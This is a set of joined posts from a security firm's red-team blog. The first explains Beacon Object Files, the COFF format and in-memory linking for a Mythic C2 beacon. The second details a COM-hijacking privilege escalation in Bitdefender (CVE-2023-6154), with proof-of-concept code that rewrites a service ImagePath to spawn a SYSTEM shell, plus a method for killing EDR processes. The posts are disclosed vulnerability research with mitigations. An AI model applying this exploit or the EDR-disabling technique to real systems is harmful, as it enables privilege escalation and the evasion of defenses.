The controller is the second important component, serving as the central control instance for the callbacks. The beacons and the controller must have a means of communication as otherwise no callbacks can be received. In the most basic C2 setup, this means that the controller must be directly accessible for all beacons deployed in the operation, but other, more complex setups are possible.

The controller is provided and administered by the red team. Depending on the C2 framework, the administration is carried out differently, for example via a web interface or a dedicated client.

A default C2 infrastructure, as described above, may look like this:

Figure 1: A default C2 infrastructure with three beacons, two clients and a C2 controller
Leon Schmidt

Consultant

Category
Date
Navigation

In this blog post series, we will focus on the Cobalt Strike and Mythic frameworks, which both work according to this principle.

Differences between Cobalt Strike and Mythic

Cobalt Strike – a widely used proprietary C2 framework – comes as a “battery included” solution. It contains a controller application to be set up on a Linux host as well as a pre-configured and pre-implemented beacon. The beacon payload can be generated in different formats, like an executable, shellcode or even as a Microsoft Word macro; however, each Cobalt Strike beacon payload is based on the same closed-source codebase.

In Mythic, there is virtually no coupling between the server and the beacon in terms of how the beacon must be designed. Mythic only contains the controller application and defines a set of interfaces to interact with it. The beacon can be developed freely using every programming language possible, as long as it implements at least one of the C2 profiles which interface with the Mythic server properly. This means, there cannot be a common feature set that both Mythic and its beacons can have. This is a huge drawback but also offers a high degree of flexibility: The beacons can adapt to every environment, which is why we decided to use Mythic at cirosec.

We have developed our own Mythic beacon, together with a custom C2 profile, to be used in our red teaming operations. As a result, our beacon is significantly less prevalent in virus databases and other products that search for malware based on file signatures or behavior, which is a major disadvantage of the Cobalt Strike beacon. However, there is a downside to using a custom-made beacon: Fortra, the company behind Cobalt Strike, is naturally continuing to diligently implement new features for its framework. Since we develop our own beacon for Mythic, we are unable to benefit from these features. One of these features, which was introduced back in 2020, recently caught our attention because it changed how operators interact with C2 beacons: Beacon Object Files.

What are Beacon Object Files and why do we need them?

Beacon Object Files, or BOFs for short, are compiled programs written to a convention that allows them to execute within the Cobalt Strike beacon process. They are a way to rapidly extend the beacon’s functionality with new post-exploitation features written in pure C code. It allows the beacon to be modified and extended after deployment since native features would need to be implemented beforehand. This would also result in a bigger size on disk, which may impede EDR evasion or the use of specific shellcode invocation techniques, such as the exploitation of Microsoft Warbird, which we have previously covered in another blog post. Native features can even be replaced by BOFs, which can further reduce the size on disk.

Running code within the beacon process, however, is nothing new in the C2 world. Many frameworks already offer the execution of PowerShell scripts, native PE files and .NET executables. The underlying techniques are usually less sophisticated, as they rely on existing functions of the Windows operating system – particularly the PE loader, the Common Language Runtime (CLR) for .NET executables or the PowerShell runtime. When launching executable programs, the operating system must provide a runtime in a separate process. This is known as “fork and run” and describes the creation of an auxiliary process as a child process (“fork”), in the context of which the program to be loaded is then executed (“run”). The creation of processes and threads is usually closely monitored and regulated by EDR software, which is why fork and run has not been a viable solution in well-secured environments for some time now. .NET executables also run through the Antimalware Scan Interface (AMSI), and removing it is often detected. EDR software is developing rapidly in this area.

This is exactly where BOFs come into play. They are designed in such a way that they are not dependent on the fork-and-run pattern but instead can be executed completely within the beacon process. Of course, this also has the advantage that they do not have to be stored on the hard disk at any time. Since BOFs are developed in C, they theoretically are unlimited in their range of functions.

Due to the relatively high popularity of BOFs (at least within the Cobalt Strike environment), there are already many implementations of known attacks that we also want to make use of. We will see some of them in the second part of this blog series.

While Cobalt Strike, as the pioneer project using BOFs, has a whole ecosystem built around them, Mythic lacks native BOF support. Porting them to other frameworks has been done several times: Havoc, Sliver, Empire and Brute Ratel are other C2 frameworks that also support BOF execution. However, many of these solutions lack compatibility with BOFs that were explicitly built for Cobalt Strike. This is often because many BOFs are instrumented by Cobalt Strike’s Aggressor Script – a proprietary scripting language that manages the invocation of BOFs on the server side amongst many other things. Aggressor Script is based on Sleep, an interpreter language for the Java Virtual Machine (JVM), which is why it cannot be used for Mythic (or any other C2 framework not written in Java).

Likewise, the implemented loaders are technically dependent on the C2 infrastructure in some cases, making it difficult to port them to Mythic. Our goal was to avoid these issues with our own approach and thereby make BOFs usable for us as well. The third part of this blog series covers the development of our BOF loader in detail as well as how we bypassed the dependency on Aggressor Script. But first, we will look at the BOFs’ file format to see how they work.

How do BOFs work?

Forta’s official documentation on developing BOFs is our first point of reference for explaining how they work. It shows the minimum code boilerplate for a BOF and compiler calls for it.

#include <windows.h>
#include "beacon.h"

void go(char *args, int alen) {
    BeaconOutput(CALLBACK_OUTPUT, "Hello, World! ", 13);
}

We will go into detail about the sample code later. Let’s just assume that this is working BOF code that outputs “Hello, World!”.

Since BOFs are designed to run on Windows, they should be compiled with a Windows-native compiler or the cross-compiler toolchain MinGW if you want to build on Linux. These sample calls are listed in the documentation:

  • cl.exe /c /GS- hello.c /Fo hello.x64.o
    for compilation on Windows
  • x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o
    for compilation on Linux using MinGW

These calls will compile the source code input file hello.c, which includes our boilerplate BOF code. You may have noticed the /c and -c switches. Apart from those flags, these are just standard compiler calls (the /GS- flag for cl.exe simply disables the stack overflow protection). The /c and -c switches stand for “compile only”, which may sound redundant at first – after all, we are working with a compiler. However, a usual compiler call does more than that: after compilation, the linker is automatically invoked. The compilation step merely converts the source code into machine code. The linker then ensures that external functions are resolved (“linked”) and that the machine code is converted into the executable Portable Executable (PE) format.

When the linking step is left out, the compiler produces a so-called object file (ending in .o or .obj) from the source code instead of a runnable program. Although this file contains the translated machine code, it does not yet contain a complete execution environment. In particular, there are no references to external libraries and functions: their pointers are not yet filled with actual addresses, which is one of the tasks the linker would do. Skipping the linker also has the effect that there can always be exactly one object file per translation unit, which is just the fancy term for a single C/C++ source code file after precompilation. Linking several object files together is also a task of the linker. It also provides the entry point for the executable so that the operating system knows where to begin running it.

A simplified compilation process is shown below. In our case, we stop after the compilation step and are thus left with the .o files.

Figure 2: Simplified illustration of a full compilation process on Windows

When targeting Linux, these object files are saved in the Executable and Linking Format (ELF) just like fully linked, executable files. On Windows, a separate format is used called Common Object File Format (COFF). Since BOFs are targeting Windows, COFFs are the ones generated by these compilation instructions provided by the Cobalt Strike documentation.

Let’s take a look at how this format is structured.

Understanding the COFF file format

The COFF format originated in the Unix ecosystem, where it was already used for object files. Linux nowadays uses the ELF format, but COFF has been adopted by Windows. It is structurally very similar to the executable PE format and serves as its basis. Therefore, many of the COFF elements are part of the PE specification.

Thus, COFF is an intermediate unit right before PE where the linker has not yet engaged. As a result, COFF files must hold metadata for the linker, as it is intended that the linker will later process them into an executable. Due to this metadata, the COFF format is more verbose and contains more debugging information but still remains smaller than a PE file, as most external implementations and operating system specifics to run it are not yet included. This usually results in file size savings between 65 and 90 percent compared to a linked PE file, mostly depending on the proportion of external symbols.

A COFF file consists of several parts, each serving a specific purpose:

File header

The file header contains general information about the file. Most importantly, this includes the number of sections as well as pointers to and sizes of the other parts of the COFF file, like the symbol table, which we will cover shortly. These pointers allow us to maneuver around every bit of the file using basic math.

Sections

The actual contents of COFF files are stored in named sections. Each section has a well-defined purpose as seen in other file formats, too: The most important section is the .text section, containing the executable machine code. There are also the .data, .bss and .rdata sections, holding static global, uninitialized and read-only variables, respectively.

Each section has a section header, all of which follow immediately after the file header in the COFF file. The section headers contain metadata about the section’s raw data, such as its position and size, similar to the information in the file header. However, the most important information here is the “Pointer to Relocations” field. It marks the memory position to the relocation information section where unresolved symbols are listed. Symbols are used to abstractly denote variables, functions, but also cross-referencing data such as string constants. Since the linker has not yet been applied to the file, these symbols have not been set correctly. In a normal scenario, they are only resolved once the final memory layout is known.

Symbol table

The symbol table provides metadata for symbols used in the file. For example, if the function int add(int a, int b) is defined in this file, it is represented as the symbol add in this table. The table itself can have any number of entries and therefore has an indefinite size. However, the entries themselves are always 18 bytes in size. The most important fields in such an entry are:

  • Name of the symbol (or pointer to the name)
  • Address of the symbol (where it is defined in the program)
  • Section number (1-based, 0 if the symbol is not defined within this COFF file)

Symbols are of two types: internal and external. Internal symbols reference a symbol created within the COFF. The section number field then contains the corresponding section in which the symbol is defined. If the symbol is external (e.g. pulled in from an external library), the section number field is set to 0. This is the sign for the linker to go and find the correct implementation of that symbol somewhere else.

Also, pay attention to the symbol name field: it is implemented as a union that can take two data types at the same time. The first possible value is a char[8] and is defined to contain the name of the symbol. It can therefore only be 8 bytes long (must not be null terminated. If the symbol name happens to be longer, it is stored in the string table instead. To recognize this, the first byte of the union is set to zero. The rest of the union contains a memory offset relative to the beginning of the string table, defined as uint32_t[2]. The symbol can be retrieved at this position. External symbol names also follow a convention in which they are prefixed with a constant that is specific to the platform ‑ if marked as such by using the DECLSPEC_IMPORT attribute. These prefixes are:

  • __imp_ for the x64 platform
  • __imp__ for the x86 platform

The external printf function, for example, would then have the symbol name __imp_printf on the x64 platform. This is important, as it makes it possible to identify an external symbol by its name prefix only. On Linux, the symbols of a COFF file can be listed manually using the nm tool: nm -C <coff_file>:

Figure 3: Sections and symbols of the tgtdelegation.x64.o BOF

Here we can see some external functions starting with Beacon and some other strange looking functions containing a dollar sign. We will take a look at them in a bit.

Symbols are usually not accessed through the symbol table itself (e.g. by iterating over the table). They are referenced in the relocation information entries, which we will cover next.

Relocation information

A relocation in the context of object files refers to an adjustment applied to machine code or other data to correct memory addresses that cannot be determined at compile time. Specifically, relocations mark locations within a section where symbol addresses must be inserted once the final memory layout is known during linking (or in this case during manual loading). Relocation entries are very small in size, as they only contain these three fields:

  • Virtual address: the address of the item to which relocation is applied (offset from the beginning of the section, plus the values of the sections RVA/Offset field)
  • Symbol index: index in the symbol table for the relocation target
  • Type: specifies the relocation type

Since we need to mimic a linker, these relocation entries are important to us. Luckily, doing those relocations is straightforward. The virtual address field contains the relative address where a symbol is accessed within the section (e.g. a function call). We simply extract the name and address of the symbol pointed to by the symbol index field within the symbol table and search for the symbol (e.g. the function definition). Then, we place the actual virtual address of this symbol’s location to the address pointed to by the virtual address field.

This approach, however, has two tricky obstacles. First, this “search for the symbol” procedure is not predefined, especially not for external symbols. For this, we need a separate mechanism, which we will explain later. Second, the virtual address of the symbol found cannot simply be copied to the relocation location. We must observe a few guidelines. These guidelines are specified by the Type field. Some relocations must be address offsets relative to the start of the section, others must be absolute addresses. The sizes of the addresses can also differ, even within the same processor architecture. The different types are described in the PE specification, which is why we will not go into detail here (it’s kind of boring anyways).

String table

As already described, this section holds the symbol names from the symbol table that are larger than 8 bytes. The table begins with an integer that specifies its size, following the null-terminated name strings. The index referenced in the symbol table entry can be read up to the null terminator to retrieve the full name from this table.

Summary

This is a general representation of a COFF file with the .text and .data sample sections and the individual areas:

Figure 4: Basic structure of a COFF file

With this information, we are now able to reproduce the linking process. In summary, this is what we need to do:

  1. Jump from the file header to the first section header
  2. From there, iterate over all section headers using the number of sections field
  3. For each section header, iterate over all relocation entries for this section
  4. For each symbol entry, check if its name is stored directly within it or retrieve it from the string table otherwise
  5. Check if the symbol is an external symbol
    1. If yes: search for the external symbol and resolve it manually
    2. If no: resolve the symbol manually

Now we know the most important aspects of how COFF files work. As hopefully apparent by now, our goal is to replicate the linking process from Windows’ own linker but not “ahead of execution” but rather dynamically at runtime. We will do this by copying the BOF into memory and do the relocations for it manually. Furthermore, in-memory linking is advantageous because otherwise, linking would have to take place on the file system, which could be quickly classified as suspicious by EDR software.

But there is still one thing missing from our approach so far that a standard executable EXE has. As mentioned above, we do not yet have a relocation mechanism that allows us to search for external symbols. Specifically, this means that we can only use functions that we have implemented ourselves (internal symbols). This is a huge limitation because it means that both the C standard library (malloc, free, memcpy, strcmp, etc.) and even more powerful functions such as those from the Windows API (VirtualAlloc, VirtualFree, LoadLibrary, etc.) are not available to the BOF. We can only fall back on the functionality that the compiler provides natively (so-called compiler intrinsics).

Fortunately, Cobalt Strike invented some workarounds, which are even frequently used by several BOFs. We also need to support these so that we can execute BOFs designed specifically for Cobalt Strike, which is part of our goal.

The holy quadruplicity of manual function resolution

It would be unreasonable to expect our custom linker to be familiar with every conceivable Windows function. Fortra probably thought the same thing when they decided to link only four functions to the BOF by default, namely LoadLibraryA, GetModuleHandleA, GetProcAddress and FreeLibrary. With these functions, almost the entire range of the Windows API is available with relatively little implementation effort because they can be used to resolve virtually anything at runtime. So, we are already in a relatively good position with these four functions.

Our linker must know these four functions by name and be able to link them to the BOF as soon as they are called.

Interacting with the C2 infrastructure through the Beacon APIs

One of the workarounds for providing the beacon with more functions are the so-called Beacon APIs. They are made available to the beacon developer as a C header, usually referred to as beacon.h. After including it, the contained functions can be called in the BOF like usual C/C++ functions, for example to send output to the C2 server, to persist data in the beacon’s memory or to use predefined functions for process injection.

Since these functions are to be implemented in the beacon, they are external functions from the BOF’s point of view. When a BOF calls one of these functions, the calls there are visible as external symbols and must be linked before execution. That is the job of our BOF loader: it must know the functions (more precisely, their addresses) and link them into the BOF using COFF relocations.

The Beacon API functions in beacon.h can be grouped by functionality as follows:

Beacon APIDescription
Data Parser APIReads the parameters passed to the BOF at invocation
Format APIUtility functions to help with formatting strings
Output APISends output to the C2 controller
Token APIManipulation of the beacon’s current thread token
Spawn+Inject APILeverages some of the beacon’s process injection capabilities
Utility APIA single utility function for string encoding conversion
Key/Value Store APIGives access to a minimal key/value store within the beacon’s memory
Data Store APIData store with the ability to obfuscate the stored data at runtime
User Data APIRetrieves the Beacon User Data (BUD) buffer when using a User-Defined Reflective Loader (UDRL)
Syscall APIMacros that call several Syscall functions resolved by the beacon
Beacon Gate APIEnables/Disables Cobalt Strike’s BeaconGate feature

Most of these groups merely contain helper functions. The others correspond to a feature of Cobalt Strike. The most important ones are the Data Parser, Format and Output API. They are the minimum requirement for operating BOFs so that they can be parameterized and communicate with the C2 controller. All other APIs are only used sporadically by most BOFs, which we will go into detail in part two of this blog post series. That is why we will only discuss the first three here.

Data Parser API

The Data Parser API is used to extract arguments given to the BOF at invocation. They are serialized (packed) into a size-prefixed binary blob by Cobalt Strike. The Data Parser API unwraps this blob into its original arguments again. The parameters can then be retrieved like this:

#include "beacon.h"
void go(char *args, int alen) {
    datap parser; // define the parser struct (defined in beacon.h)
    char *arg1;     // define arg1
    short arg2;     // define arg1
    BeaconDataParse(&parser, args, alen);       // initialize the parser struct (mandatory)
    arg1 = BeaconDataExtract(&parser, NULL); // get first arg (string)
    arg2 = BeaconDataShort(&parser)               // get second arg (short)
}

Depending on the type of data to be extracted, different functions must be used. For strings or raw data, it is BeaconDataExtract; for shorts, it is BeaconDataShort; for ints, it is BeaconDataInt, etc. They must be called in the same order as the parameters were given to the BOF.

A BOF implementation would therefore have to be able to generate precisely this size-prefixed binary blob format and pass it on to the loader to be compatible with BOFs written for Cobalt Strike. TrustedSec provides a small Python script with its own BOF loader for this purpose.

Format API

The Format API is used to build large or repeating strings. It helps with allocating memory for strings and simplifies formatting, as this is not trivial within BOFs. Syntactically, it works like the printf function from the standard library. As in the Data Parser API, there is a dedicated struct definition formatp, which is used to manage memory and to keep the state of the current allocation.

An example on how the Format API is used manually can be seen here; however, the Format API is usually invoked as part of the Output API.

Output API

The Output API returns output to the C2 controller (i.e. Cobalt Strike) through the C2 profile. This is probably the most important API because it is the only way to see any results from BOFs. It allows displaying messages as informational and as errors using the type parameters of the functions.

The Output API offers two functions: BeaconOutput to print constant strings and BeaconPrintf to print formattable strings. The latter one is usually implemented using the Format API functions itself since printf logic is already present there.

In Figure 2, we have already used BeaconOutput to print “Hello, World!”. This string is transmitted through the C2 profile to the controller.

As shown in the table above, there are several other Beacon API groups. However, many of them are simply unsuitable for use outside of Cobalt Strike, as they interact with functions that only exist or make sense within it. We have therefore focused only on the ones mentioned above.

However, there is yet another powerful way to extend the functionality of BOFs: Dynamic Function Resolution.

Extending functionality using Dynamic Function Resolution

Although we can already reload any functions manually by using LoadLibraryA and GetProcAddress, this is not particularly convenient. BOFs offer a simpler alternative: Dynamic Function Resolution (DFR). DFR is a convention for naming external functions within the BOF code so that the loader can recognize them prior to execution, which is much less error prone. These so-called DFR declarations allow the use of external Windows API functions as long as they can be found by the loader.

A DFR declaration consists of the name of the library, a $ and the name of the function. In addition, the “WINAPI” attribute must be specified, and the return type and parameters must be set correctly. For example, the DFR declarations for VirtualAlloc and DsGetDcNameA must look like this:

// VirtualAlloc from KERNEL32
void *WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
// DsGetDcNameA from NETAPI32
DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);

The loader then sees the function name and recognizes it as an external symbol. Then, all it must do is load the part before the $ with LoadLibrary and the part after it with GetProcAddress, and you have the function address. Of course, there are other, quieter methods available, such as PEB walking, but for the sake of simplicity, we will stick to the “official” method for now. The function pointers can then be linked to the function call locations using COFF relocation.

TrustedSec has also taken the trouble to collect all useful functions of the Windows API and provide them as DFR declarations in a C header file called bofdefs.h. It can be obtained here. After including it, you can directly use most of the Windows API functions by their DFR signature.

Conclusion

In this first part of the BOF blog post series, we showed how BOFs and the underlying COFF file format are structured, how to build your own mini-linker and how BOF functions can be extended using the Beacon API and DFR.

In the next part, we will look at a few publicly available BOFs to see how powerful BOFs can be in practice. The third and final part goes into more technical detail and deals with the implementation of the loader/linker.

Further blog articles

Red Teaming

Windows Instrumen­tation Call­backs – Part 4

February 10, 2026 – In this blog post we will cover ICs from a more theoretical standpoint. Mainly restrictions on unsetting them, how set ICs can be detected and how new ones can be prevented from being set. Spoiler: this is not entirely possible.

Author: Lino Facco

Mehr Infos »
Reverse Engineering

Windows Instrumen­tation Call­backs – Part 3

January 28, 2026 – In this third part of the blog series, you will learn how to inject shellcode into processes with ICs as an execution mechanism without creating any new threads for your payload and without installing a vectored exception handler.

Author: Lino Facco

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 3

December 4, 2025 – This is the third post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this final post, we will provide insights into the development of our BOF loader as implemented in our Mythic beacon. We will demonstrate how we used the experimental Mythic Forge to circumvent the dependency on Aggressor Script – a challenge that other C2 frameworks were unable to resolve this easily.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 2

November 27, 2025 – This is the second post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this second post, we will present some concrete BOF implementations to show how they are used in the wild and how powerful they can be.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 1

November 19, 2025 – This is the first post in a series of blog posts on how we implemented support for Beacon Object Files into our own command and control (C2) beacon using the Mythic framework. In this first post, we will take a look at what Beacon Object Files are, how they work and why they are valuable to us.

Author: Leon Schmidt

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 2

January 29, 2025 – In this post, we will delve into how we exploited trust in AVG Internet Security (CVE-2024-6510) to gain elevated privileges.
But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 1

January 15, 2025 – In this series of blog posts, we cover how we could exploit five reputable security products to gain SYSTEM privileges with COM hijacking. If you’ve never heard of this, no worries. We introduce all relevant background information, describe our approach to reverse engineering the products’ internals, and explain how we finally exploited the vulnerabilities. We hope to shed some light on this undervalued attack surface.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Do you want to protect your systems? Feel free to get in touch with us.

The Key to COMpromise – Part 4

Search

The Key to COMpromise – Part 4

February 26, 2025

The Key to COMpromise - Writing to the Registry (again), Part 4

Introduction

In this final part of our series on COM hijacking, we will examine a custom-named pipe IPC protocol implemented by Bitdefender Total Security and detail our approach to reverse engineering it. We will explore how we could use COM hijacking and this custom communication to gain SYSTEM privileges (CVE-2023-6154). Additionally, we will examine how to mitigate the vulnerabilities discussed throughout this series of blog posts. Lastly, we will demonstrate how COM hijacking can be exploited to perform a Denial-of-Service (DoS) attack on security products.

COM Hijacking

Once again, the targeted product accesses the COM interface for the dataexchange.dll upon launching the front-end UI. We hijacked this COM interface as described in part one of this series. After hijacking the COM Interface, a DLL we provided was loaded into a front-end process, allowing us to communicate with the back-end processes out of the context of a trusted process.

Figure 1: Our DLL being loaded into the front-end process

To exploit this primitive, we needed a deeper understanding of the communication between the front and back end. The next section details our reverse engineering process.

Reverse engineering the communication

Similar to other security products we analyzed and exploited, the seccenter.exe (front-end process) communicates with a high-privileged back-end process. However, with Bitdefender, high-level interfaces implemented the communication, so we didn’t have to analyze RPC calls in depth.

During our analysis of the seccenter.exe, we quickly identified the loaded DLL safeelevatedrun.dll, which contains some plugin-like interfaces written in C++. Three intriguing strings caught our attention:

  • CEleveatedOperationsClient
  • CRegistryOperationsClient
  • CFileOperationsClient

The strings seem to reference classes implemented within the safeelevatedrun.dll and provide the high-level interfaces already mentioned for communication with the back-end service.

Alain Rödel and Kolja Grassmann

Consultants

Category
Date
Navigation
Figure 2: Initialization of the CRegistryOperationsClient instance in the safeelevatedrun.dll

The CRegistryOperationsClient class seemed especially interesting, as its name implies it deals with registry operations, which could be a vector to escalate our privileges. Our suspicions were confirmed when we saw the front-end process, seccenter.exe, using the CSecurityCenterApp::SaveRegValue with reference to a Registry operations client class object. This strongly suggested a connection to the CRegistryOperationsClient class mentioned above.

Figure 3: Usage of the registry operations client from the seccenter.exe`

We needed to obtain an instance of this class to interact with CRegistryOperationsClient from within the front-end process. The object was dynamically created via a plugin-like system that passed an internal GUID to a dynamic creation method.

Figure 4: Dynamic plugin instantiation of the CRegistryOperationsClient

Eventually, after some additional (and not so interesting) reverse engineering, we created the following flow to create an instance of the CRegistryOperationsClient class. This class, we hoped, would allow us to interact with the registry. Unrestricted write interaction with the registry would allow us to escalate our privileges.

  1. The seccenter.exe (and the internal safeelevatedrun.dll) dynamically create the CEleveatedOperationsClient and CRegistryOperationsClient objects using an internal GUID.
  2. The newly instantiated CRegistryOperationsClient object exposed an interface for passing a registry_ops structure to the back-end service.
  3. The CSecurityCenterApp::SaveRegValue provides a high-level interface to perform the low-level RPC calls to the service.

Or, more detailed:

Figure 5: Abstract flow of the CRegistryOperationsClient object creation and eventual SaveRegValue call

For our exploit, we needed to reverse engineer the essential fields of the registry_ops structure:

typedef struct {
DWORD hive;
DWORD unknown;
wchar_t key[100];
wchar_t value[100];
DWORD regtype;
wchar_t value2[522];
DWORD value_len_qq;
} registry_ops_t;

One key parameter, DWORD hive, specifies the registry hive where the registry key would be written. To target HKEY_LOCAL_MACHINE, the key’s value had to be set to 0x80000002, as documented in some Windows internals documentation.

The final exploit call was constructed using the dynamically created registry client object and the crafted registry_ops structure.  A simplified implementation of this exploit is provided below:

typedef DWORD_PTR(WINAPI* SaveRegvalue_Orig_t)(__int64 this_ptr, registry_ops_t* a2);
// [...]

registry_ops_t ops = { 0 };
ops.hive = 0x80000002;
ops.unknown = 0xFFFFFFFF;

wcscpy_s(ops.key, 0x64ui64, L"SYSTEM\\CurrentControlSet\\Services\\NetSetupSvc");
wcscpy_s(ops.value, 0x64ui64, L"ImagePath");
wcscpy_s(ops.value2, 0x64ui64, L"C:\\poc\\SpawnSystemShell.exe");
ops.regtype = REG_SZ;
ops.value_len_qq = strlen("C:\\poc\\SpawnSystemShell.exe") * 2 + 1;

SaveRegvalue_Orig_t saveRegValue = (SaveRegvalue_Orig_t)((uint64_t)seccenter + 0x10DCF0);
uint64_t global_reg_handler = (uint64_t)((uint64_t)seccenter + 0x198DC0);

saveRegValue(global_reg_handler, &ops);

Escalating our privileges

After understanding the back-end communication, we could write a registry key without restrictions on its path. We aimed to exploit this capability without requiring an admin login or system restart.

We decided to modify the binary path of a service to point to an executable we controlled.  Although many services could be used for this purpose, most required a system restart. We ultimately chose NetSetupService because it was not started by default, ran as SYSTEM, and could be started by a low-privileged user.

We created a COM DLL that used the above-mentioned functionality to instruct the back end to change this service’s ImagePath to a controlled path. Once the modification was made, we could start the service, which then executed our binary as SYSTEM. Our binary then spawned a cmd.exe process with SYSTEM privileges on our desktop.

Put together, our exploit worked as follows:

  1. We hijacked the COM interface for dataexchange.dll.
  2. We started the front-end UI to trigger the COM interface and load our DLL into the front end.
  3. Our DLL would communicate with the back end and instruct the back end to write to the registry.
  4. The back-end would change the ImagePath for the NetSetupService service.
  5. We place our executable under the new ImagePath and start the service.
  6. Our executable is started as SYSTEM and spawns a cmd.exe process running as SYSTEM on our desktop.

Preventing COM hijacking vulnerabilities

To mitigate COM hijacking as an attack vector for privilege escalation, vendors should refrain from giving special privileges to applications running in low-privileged user contexts. Microsoft does not enforce a security boundary between processes running in the same user context, so the vendor is likely to always play catch-up to new techniques being used to inject into other processes. Products requiring administrator privileges for all critical actions, such as setting exclusions, were found to be more resistant to similar exploits.

Vendors may allow users to trigger certain actions without admin privileges for usability. However, they should implement measures to prevent code injection into these processes. The most effective way to do this would be to make the front-end process a Protected Process Light (PPL). Unfortunately, Microsoft does not support PPL for processes providing a UI, according to Microsoft’s documentation.

Therefore, if special permissions are given to the front-end process, the vendor must try to prevent code injection into this process. Most vendors currently do this by using a filter driver. Another measure is hooking the functions involved in DLL loading to enforce signature verification and an allow list. If implemented correctly, this would help against COM hijacking, as described in our posts. However, these methods require ongoing updates to counter new injection techniques that might allow an attacker to execute code in the trusted front-end process.

Denial of Service via COM Hijacking

During this research, we stumbled upon another interesting question:
We can inject a DLL into a front-end process of an Endpoint Detection and Response (EDR) via COM. Could we do the same for the back end and, thus, potentially create a Denial of Service (DoS) attack against security solutions?

We often struggle with permanently deactivating the security solution in place on a system so that it does not interfere with our tooling.

Note: You do not want to do this on production systems. However, we often use dedicated systems set up just for a project and get wiped afterwards. Deactivating security solutions on specific systems in penetration testing scenarios can be justified, as it increases the efficiency of the pentesters’ work and allows testing of blue team responses.

COM hijacking enabled us to inject a DLL into a central back-end process of the security solution. The most direct approach was to terminate the process upon DLL load, effectively disabling the security software. A more advanced method could involve suspending specific process functions to make the solution appear functional while neutralizing its effectiveness.

So, do the back-end processes even use COM? Some of our targeted products did. We found two EDR products whose back-end processes utilized COM interfaces, which we were able to hijack. For our proof of concept, we terminated the process every time our DLL was loaded by one of the security vendors’ processes. This effectively disabled the security solution and allowed us to execute tools like mimikatz without interference.

As this requires SYSTEM privileges and is only a DoS issue rather than a privilege escalation issue, both vendors we reported this to declined to issue a fix. Thus, this might remain a viable technique for the next time you want to get rid of an EDR and do not need to be too stealthy.

Conclusion

In this final part of the series, we detailed the reverse engineering of a custom IPC protocol and demonstrated how we combined it with COM hijacking to gain SYSTEM privileges. We also explored mitigation techniques to prevent similar vulnerabilities and discussed how COM hijacking can facilitate DoS attacks against security products.

This concludes our series of blog posts on COM hijacking. We hope that you enjoyed reading it and gained some insights from it.

Further blog articles

Command-and-Control

Beacon Object Files for Mythic – Part 3

December 4, 2025 – This is the third post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this final post, we will provide insights into the development of our BOF loader as implemented in our Mythic beacon. We will demonstrate how we used the experimental Mythic Forge to circumvent the dependency on Aggressor Script – a challenge that other C2 frameworks were unable to resolve this easily.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 2

November 27, 2025 – This is the second post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this second post, we will present some concrete BOF implementations to show how they are used in the wild and how powerful they can be.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 1

November 19, 2025 – This is the first post in a series of blog posts on how we implemented support for Beacon Object Files into our own command and control (C2) beacon using the Mythic framework. In this first post, we will take a look at what Beacon Object Files are, how they work and why they are valuable to us.

Author: Leon Schmidt

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 2

January 29, 2025 – In this post, we will delve into how we exploited trust in AVG Internet Security (CVE-2024-6510) to gain elevated privileges.
But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 1

January 15, 2025 – In this series of blog posts, we cover how we could exploit five reputable security products to gain SYSTEM privileges with COM hijacking. If you’ve never heard of this, no worries. We introduce all relevant background information, describe our approach to reverse engineering the products’ internals, and explain how we finally exploited the vulnerabilities. We hope to shed some light on this undervalued attack surface.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 4 – AMSI and ETW

April 30, 2024 – In the last post, we discussed how we can get rid of any hooks placed into our process by an EDR solution. However, there are also other mechanisms provided by Windows, which could help to detect our payload. Two of these are ETW and AMSI.

Author: Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 1 – Basics

February 10, 2024 – This is the first post in a series of posts that will cover the development of a loader for evading AV and EDR solutions.

Author: Kolja Grassmann

Mehr Infos »
Do you want to protect your systems? Feel free to get in touch with us.

The Key to COMpromise – Part 3

Search

The Key to COMpromise – Part 3

February 12, 2025

The Key to COMpromise - Downloading a SYSTEM shell, Part 3

Introduction

In the first part of this series, we described how we identified a COM interface used by Trend Micro Apex One (CVE-2024-36302) and hijacked its associated registry key within the HKCU registry hive to execute a replay attack. We again used COM hijacking in the second part of this series. We described how we reversed some RPC communication to abuse an update mechanism provided by AVG Internet Security (CVE-2024-6510).

In this third part of our blog post series, we will cover the details of two additional vulnerabilities we found based on COM hijacking. The first vulnerability impacted Webroot Endpoint Protect (CVE-2023-7241), allowing us to leverage an arbitrary file deletion to gain SYSTEM privileges. In the second case, we targeted Checkpoint Harmony (CVE-2024-24912) and used a file download primitive to gain SYSTEM privileges.

Vulnerability 1: Leveraging file deletion for LPE

For the first vulnerability, the COM interface was triggered whenever a specific file save dialogue was opened in the user interface. For a more comprehensive coverage of COM hijacking, refer to part one of this series.

Upon successfully hijacking the COM interface, our custom DLL was loaded by the front-end process running under our user context:

Figure 1: Our custom DLL being loaded into the frontend process
Alain Rödel and Kolja Grassmann

Consultants

Category
Date
